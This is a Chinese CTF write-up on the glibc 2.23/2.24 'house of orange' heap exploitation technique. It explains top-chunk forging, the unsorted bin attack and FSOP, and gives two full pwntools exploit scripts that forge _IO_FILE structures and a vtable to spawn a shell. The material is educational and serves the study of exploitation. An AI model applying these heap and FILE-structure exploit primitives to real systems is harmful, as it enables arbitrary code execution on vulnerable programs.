house_of_orange

其实之前从来没碰到house of orange的题,然后在想学io_file的时候看到有提到这个,就去了解了一下house of orange的原理。

对于house of orange操作的理解(glibc2.23)

大体上是,没有free函数,通过改写top chunk,使top chunk的大小不能满足我们要malloc的大小,则malloc后,原来的top chunk会被释放,并置入到unsorted bin的队列。这样就可以到达不通过free也能把chunk写到unsorted bin的队列里面的目的了。

_int_malloc函数中,会依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,如果都不符合,接下来_int_malloc函数会试图使用 top chunk。

如果top chunk也无法满足的话,会执行以下的代码

1
2
3
4
5
6
7
8
9
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}

则需要执行 sysmalloc来向系统申请更多的空间。

但是对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展(就是malloc的size要小于mmap的size),之后原有的 top chunk 会被置于 unsorted bin 中。

在 sysmalloc 函数中存在对 top chunk size 的 check,如下

1
2
3
4
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

这里是对top chunk 的合法性的检查。

想要伪造 ++top chunk++,就要满足以下几点:

  • 伪造的 size 必须要对齐到内存页
  • size 要大于 MINSIZE(0x10)
  • size 要小于之后申请的 chunk size + MINSIZE(0x10)
  • size 的 prev inuse 位必须为 1

fake_size 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等对 4kb 对齐的 size。

这里用houseoforange这个题来操作一下吧

例子

这题没有free操作,让人很容易联想得到house_of_orange的操作,upgrade对写入的size没有检查,可以直接溢出。

它结合了house of orange、unsorted bin attack 和FSOP的知识点

house of orange使在没有free的条件下改写topchunk,下一次malloc一个大于topchunk的size则可以将它写进unsorted bin的队列了

unsorted bin attack,通过malloc large bin(>=512),可以达到同时leak libc和heap的效果。随后再利用upgrade溢出,构造new chunk,在它的bk处存入_IO_list_all-0x10的地址(这个注意,unsorted bin attack的bk覆写一定是在之前并没有add的堆块,即被free掉的或者和这题的覆写一样的)

FSOP,通过伪造_IO_list_all中的节点来实现对FILE链表的控制以实现利用目的。通常来说一般是直接利用任意写的漏洞修改_IO_list_all直接指向可控的地址。

其中,unsorted bin attack和FSOP都是在最后一步malloc(0x10)的时候才实现的

关于IO FILE

后面两步都会与一个叫_IO_FILE_plus的结构体有关系,那我们就先来看一下这个结构体吧

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

而指向这个结构体的指针叫做_IO_list_all,它存在于符号表内(即可以libc.sym[‘_IO_list_all’]操作),定义如下

1
extern struct _IO_FILE_plus *_IO_list_all;

_IO_list_all一般指向的都是_IO_2_1_stderr
正常的程序中存在stderrsdout以及stdin三个IO FILE,他们之间的关系呢大概是这样的

就是

_IO_list_all->_IO_2_1_stderr

_IO_2_1_stderr->_IO_2_1_stdout

_IO_2_1_stdout->_IO_2_1_stdin

既然它牵扯到了IO FILE结构体里的东西,那我们就再倒回来说说这个结构体吧

_IO_FILE_plus结构体的第一part IO FILE的file结构(用gdb来看吧)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p *((struct _IO_FILE_plus *) 0x7f733765e540)
$2 = {
file = {
_flags = -72540026,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f733765e620 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7f733765f770 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f733765d660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f733765c6e0 <_IO_file_jumps>
}

chain指向的是下一个IO FILE结构体

而vtable呢是一个虚表指针,指向的是_IO_file_jumps

刚好_IO_FILE_plus的第二part就是这个虚表了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

在我们将IO_list_all链接进unsorted bin之后,unsortedbin的结构被破坏(IO_read_ptr=0,即size=0),再进行malloc就会触发malloc printerr报错

1
2
3
4
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");

触发之后

1
2
3
4
函数大致调用链
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
//define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

_IO_flush_all_lockp源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
)
&& _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}

要想调用到IO_overflow,就要满足if的绕过条件,即:

((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

或者是

_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

1
2
可以将write_base->0,write_ptr->0x1,满足write_base<write_ptr
也可以改_wide_data为原old_top-0x10就好了,fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base,在wide_data的io结构里,writer_base变成了之前的read_end,即我们构造的fd,writer_ptr变成了read_base,即我们构造的bk(io_list_all-0x10),只要满足前者的等式就好了

第一种会相对来说方便一点

然后把vtable指向自己,再把system填入IO_OVERFLEW,执行的时候就可以getshell了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'

p = process('./houseoforange')
elf = ELF('./houseoforange')
libc = elf.libc

def add(size,name,price,color):
p.recvuntil("Your choice : ")
p.sendline("1")
p.recvuntil("name :")
p.sendline(str(size))
p.recvuntil("Name :")
p.send(name)
p.recvuntil("Orange:")
p.sendline(str(price))
p.recvuntil("Orange:")
p.sendline(str(color))


def upgrade(size,name,price,color):
p.recvuntil("Your choice : ")
p.sendline("3")
p.recvuntil("name :")
p.sendline(str(size))
p.recvuntil("Name:")
p.send(name)
p.recvuntil("Orange:")
p.sendline(str(price))
p.recvuntil("Orange:")
p.sendline(str(color))


def see():
p.recvuntil("Your choice : ")
p.sendline("2")



add(0x10,'aaaa',32,1)
# gdb.attach(p)
upgrade(0x40,'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xfa1),32,1)

add(0xfb0,'aaaa',32,1) #in unsorted bin list

add(0x400,'b'*8,32,1)
# gdb.attach(p)
see()

p.recvuntil('b'*8)
main_arena = u64(p.recv(6).ljust(8,'\x00')) - 1640

print hex(main_arena)
libc_base = main_arena - 0x3c4b20
print hex(libc_base)

upgrade(0x400,'b'*0x10,32,1)
see()
p.recvuntil('b'*0x10)
heap_addr=u64(p.recv(6).ljust(8,'\x00'))
print hex(heap_addr)


_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base

#满足_IO_write_base < _IO_write_ptr
# pay = 'a'*0x400
# pay += p64(0) + p64(0x21) + 'a'*0x10
# io_file = '/bin/sh\x00' + p64(0x61) #'/bin/sh'是IO FILE,最后会作为IO_overflower的参数 victim->size=0
# io_file += p64(0) +p64(_IO_list_all-0x10) #unsorted bin attack 把list_all写进unsorted bin队列里面,即list_all->构造的堆块处(not io_stderr)
# io_file += p64(0) + p64(1) #绕检查_IO_write_base < _IO_write_ptr
# io_file += p64(0) * 18
# io_file += p64(0) * 3
# io_file += p64(heap_addr+0x508) #vtable ->指向自己
# pay += io_file + p64(0)*2
# pay += p64(system)
# upgrade(0x800,pay,32,1)

# 满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
payload="x"*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
fake_chunk='/bin/sh\x00'+p64(0x61)#why ? io_file?
fake_chunk+=p64(0)+p64(_IO_list_all-0x10)
fake_chunk=fake_chunk.ljust(0xa0,'\x00')
fake_chunk+=p64(heap_addr+0x420) # wide_data -> read_end 然后就会调用虚表+0x18偏移处的函数了
fake_chunk=fake_chunk.ljust(0xc0,'\x00')
fake_chunk+=p64(1)
payload+=fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(heap_addr+0x528)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(system)
upgrade(0x800,payload,32,2)
gdb.attach(p)

#unsortbin.bk也被改写成了&IO_list_all-0x10,所以此时的victim->size=0那么不会通过校验,进入malloc_printerr,触发异常。
p.recvuntil("Your choice : ")
p.sendline("1") #如果再分配一个chunk,就会触发malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow函数
p.interactive()

关于构造chunk的size为什么是0x60:

首先victim->size=0(IO FILE的伪unsorted bin结构里,size=0)会触发malloc printer(就是那个malloc错误)这个时候就会去调用IO_list_all那个系列的函数

在IO_FILE结构体中,偏移0x60的字段是struct _IO_marker *_markers,偏移0x68的字段是struct _IO_FILE *_chain。而这两个的值恰恰是old_top的起始地址。

  原来改为0x60是为了将old_top加入smallbin[4],而smallbin[4]的fd和bk指针恰好对应于IO_FILE结构体中的_markers_chain字段。就能跳转至我们的old_top

实现FSOP的调试

在malloc最后一个堆块前我们去gdb里在_int_malloc看一下调用

出现error的字样时,chunk被写进smallbin[4]

此时的IO_FILE进入main_arena

此时chain的值为fack_chunk的地址,即old_top


(这里是第二种绕过方式的截图)

old_top里面chain为0,则往vtable执行

house of orange在glibc2.24下的利用

glibc2.24开始引入vtable 的检测函数—— IO_validate_vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

vtable需要满足的条件:

stop_IO_vtables 和 start_libc_IO_vtables 之间

而我们伪造的vtable通常不满足这个条件,但是可以找到 ==IO_str_jumps== 符合条件。(接下来就分析利用IO_str_jumps的绕过)

__IO_str_jumps 结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

我们利用_IO_str_finish进行接下来的绕过和利用

其源码为:

1
2
3
4
5
6
7
8
void _IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
// call qword ptr [fp+0E8h]
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}

我们可以知道绕过的条件是:

1
2
fp->_flags= 0
fp->_IO_buf_base = binsh_addr

此时我们使vtable存放指向_IO_str_jumps - 8处的指针 ,这样调用_IO_overflow时会调用到_IO_str_finish

不过,由于_IO_str_jumps不在符号表内,所以只能通过其他函数来间接得到它的地址,例如_IO_str_underflow,我们已知_IO_str_jumps 的地址大于_IO_file_jumps 地址,可以用此来确认_IO_str_underflow的地址,并且_IO_str_underflow=_IO_str_jummps+0x20

然后我在大佬的博客里看到一个特别6的方法可以直接算出偏移(不用手算!):

1
2
3
4
5
6
7
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
break

因为满足了if之后,会call qword ptr [fp+0E8h]

所以我们使

1
fp+0xe8 = system_addr

就可以实现getshell了

这个方法在glibc 2.23和glibc 2.24里都适用

所以我们用上面那题来试一下这个方法,运用了大佬微博里自定义的的封装函数,构造我们的exp,然后就发现我们getshell成功了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'

p = process('./houseoforange')
elf = ELF('./houseoforange')
libc = elf.libc

def add(size,name,price,color):
p.recvuntil("Your choice : ")
p.sendline("1")
p.recvuntil("name :")
p.sendline(str(size))
p.recvuntil("Name :")
p.send(name)
p.recvuntil("Orange:")
p.sendline(str(price))
p.recvuntil("Orange:")
p.sendline(str(color))


def upgrade(size,name,price,color):
p.recvuntil("Your choice : ")
p.sendline("3")
p.recvuntil("name :")
p.sendline(str(size))
p.recvuntil("Name:")
p.send(name)
p.recvuntil("Orange:")
p.sendline(str(price))
p.recvuntil("Orange:")
p.sendline(str(color))


def see():
p.recvuntil("Your choice : ")
p.sendline("2")


def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct


def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8)
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

add(0x10,'aaaa',32,1)
# gdb.attach(p)
upgrade(0x40,'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xfa1),32,1)

add(0xfb0,'aaaa',32,1) #in unsorted bin list

add(0x400,'b'*8,32,1)
# gdb.attach(p)
see()

p.recvuntil('b'*8)
main_arena = u64(p.recv(6).ljust(8,'\x00')) - 1640

print hex(main_arena)
libc_base = main_arena - 0x3c4b20
print hex(libc_base)

upgrade(0x400,'b'*0x10,32,1)
see()
p.recvuntil('b'*0x10)
heap_addr=u64(p.recv(6).ljust(8,'\x00'))
print hex(heap_addr)


_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
binsh_addr = next(libc.search("/bin/sh")) + libc_base
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
break

_IO_str_jumps_addr=libc_base + possible_IO_str_jumps_offset
print hex(_IO_str_jumps_addr)

pay = 'a'*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
file = pack_file_flush_str_jumps(_IO_str_jumps_addr,_IO_list_all,system,binsh_addr)
pay+=file
upgrade(0x800,pay,32,2)
gdb.attach(p)

p.recvuntil("Your choice : ")
p.sendline("1")
p.interactive()

  

参考链接:

https://www.anquanke.com/post/id/85127
https://bbs.pediy.com/thread-251195.htm
https://www.cnblogs.com/shangye/p/6268981.html
https://www.jianshu.com/p/4b0a73f321f9
https://xz.aliyun.com/t/2411